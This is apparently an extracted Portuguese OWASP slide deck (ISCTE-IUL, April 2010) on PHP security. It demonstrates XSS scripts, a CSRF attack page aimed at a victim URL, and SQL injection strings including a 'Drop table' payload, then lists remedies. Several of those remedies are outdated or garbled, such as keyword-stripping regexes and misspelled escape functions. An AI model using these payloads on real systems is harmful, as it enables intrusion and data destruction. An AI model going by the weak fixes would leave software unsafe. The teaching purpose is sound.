g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>3) <script>document.location="http://www.php.net";</script>

Page 65: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

22

g) XSS - Cross Site Scripting1) <script> alert ('Ataque XSS')</script>2 )<script>for (var i=0; i<10;i++)alert ('Ataque XSS');</script>

Solução html_entities() strip_tags()

3) <script>document.location="http://www.php.net";</script>

Page 66: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.php

Page 67: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.php

Page 68: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.php

Atacante

Page 69: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23

Atacante

Page 70: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23

Atacante

Page 71: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

23

h ) - CSRF (XSRF) – Cross Site Request Forgery

ataque que tenta fazer com que uma vítima envie sem saber requisições HTTP

php_csrf.htm php_CSRF.phphttp://localhost/security/php_CSRF.php?Livro=lusiadas crackados&Quantidade=23

Atacante

Page 72: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

24

h ) - CSRF (XSRF) – Cross Site Request Forgery

//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>

Atacante – desenvolve o script e coloca-o num servidor

Page 73: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

24

h ) - CSRF (XSRF) – Cross Site Request Forgery

//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>

Atacante – desenvolve o script e coloca-o num servidor

Page 74: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

24

h ) - CSRF (XSRF) – Cross Site Request Forgery

//csrf_ataque.html<html><head><title>CSRF ATAQUE</title></head><body><a href="http://www.vitima.pt/security/php_CSRF.php?Livro =lusiadas%20crackados&amp;Quantidade=23"><img style="border: 0px solid ; width: 115px; height: 61px;" alt="XSRF" src="php-med-trans.png"></a></body></html>

Atacante – desenvolve o script e coloca-o num servidor

Solução -Colocar tokens que se propaguem na aplicação

Page 75: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

25

i) SQL injection

php_sqlinjection_sel.php

php_sqli_sel_sq2.php

“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”

Page 76: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

25

i) SQL injection

php_sqlinjection_sel.php

php_sqli_sel_sq2.php

“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”

1’ or ‘1’=‘1%' or 1=1 –......

Page 77: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

25

i) SQL injection

php_sqlinjection_sel.php

php_sqli_sel_sq2.php

“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”

1’ or ‘1’=‘1%' or 1=1 –......

“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”

Page 78: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

25

i) SQL injection

php_sqlinjection_sel.php

php_sqli_sel_sq2.php

“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”

1’ or ‘1’=‘1%' or 1=1 –......

Activar selecção nome +password em php_sqlinjection_sel.phpAplicar em nome

‘ or 1=1 –xxx; Drop table -- !!!

“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”

Page 79: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

25

i) SQL injection

php_sqlinjection_sel.php

php_sqli_sel_sq2.php

“SELECT * FROM identific WHERE nome LIKE ‘ ".$_REQUEST['nome']. “‘”“SELECT * FROM identific WHERE nome LIKE ‘ “. Maria . “‘”

1’ or ‘1’=‘1%' or 1=1 –......

Activar selecção nome +password em php_sqlinjection_sel.phpAplicar em nome

‘ or 1=1 –xxx; Drop table -- !!!

SQL_Inject_me

“SELECT * FROM identific WHERE nome LIKE ‘ “. 1’ or ‘1’=‘1. “‘”

Page 80: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Page 81: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário: Nome<br/><input type="text" name="nome" maxlength="15"/><br/>

Password<br/><input type="password" name="password" maxlength="10"/><br/>

Page 82: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Page 83: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

Limitar a utilização de caracteres/expressões SQL

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Page 84: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Page 85: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);

Efectuar o “escaping” de variáveis

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Page 86: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);

Efectuar o “escaping” de variáveissqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

Ex: php_sqlinjection_sel1a.php activar escaping

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Page 87: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

26

i) SQL injection - SoluçãoLimitar comprimento dos campos no formulário:

Validação do tipo de input:

Nome<br/><input type="text" name="nome" maxlength="15"/><br/>Password<br/><input type="password" name="password" maxlength="10"/><br/>

is_int()gettype()intval()settype()strlen()strtotime()….

Limitar a utilização de caracteres/expressões SQL$sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);

Efectuar o “escaping” de variáveissqlite_escape_string(), mysqlite_escape_string(), mysqlite_real_escape_string(),...).

Ex: php_sqlinjection_sel1a.php activar escaping

if (strpos($variável, ‘;’)) exit ($variável contém caracteres inválidos); if (strpos($variável, ‘’’)) exit ($variável contém caracteres inválidos); if (preg_match (‘^;([a-z0-9])$/i', $variável){ … };

Utilizar declarações (SQL)

EX: script php_sqlinjection_sel1.php

Page 88: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP?

Do ponto de vista do administrador do sistema:

Faça Upgrade para PHP 5.2 - elimina muitos dos problemas de segurança do PHP e permite usar APIs mais seguras ,(ex: PDO),

Teste as aplicações sempre que use novas versões do PHP,

Faça um scanning às aplicações em uso,

Considere a utilização da seguinte configuração em PHP:

register_globals (deve estar off),

allow_url_fopen (deve estar off),

magic_quotes_gpc (deve estar off),

open_basedir (deve estar on e configurada correctamente),

27

Page 89: OWASP@ ISCTE-IUL, Segurança em PHP

Abril 2010

28

Segurança como um todo – o que fazer?

Como proteger das vulnerabilidades PHP ?

Do ponto de vista do programador:

Migrar urgentemente a aplicação para PHP 5.2 ou superior . Para evitar as questões anteriores:

Programar com a última versão do PHP e com configuração “hardned” Validar todo o input de acordo com o tipo de variável atribuídaCodificar todo o input utilizando htmlentities() ou mecanismos similares para evitar ataques XSSMigrar o interface de dados para PDONão usar input fornecido por utilizadores que usem funções de ficheiros de forma a evitar ataques de inclusão de ficheiros

Teste as suas aplicações com ferramentas como WebScarab, Firefox's Web Developer Toolbar, Greasemonkey and the XSS Assistant

Adaptado de http://www.sans.org/top20/?portal=5e4388309c999823b11cf5556616bd46#s1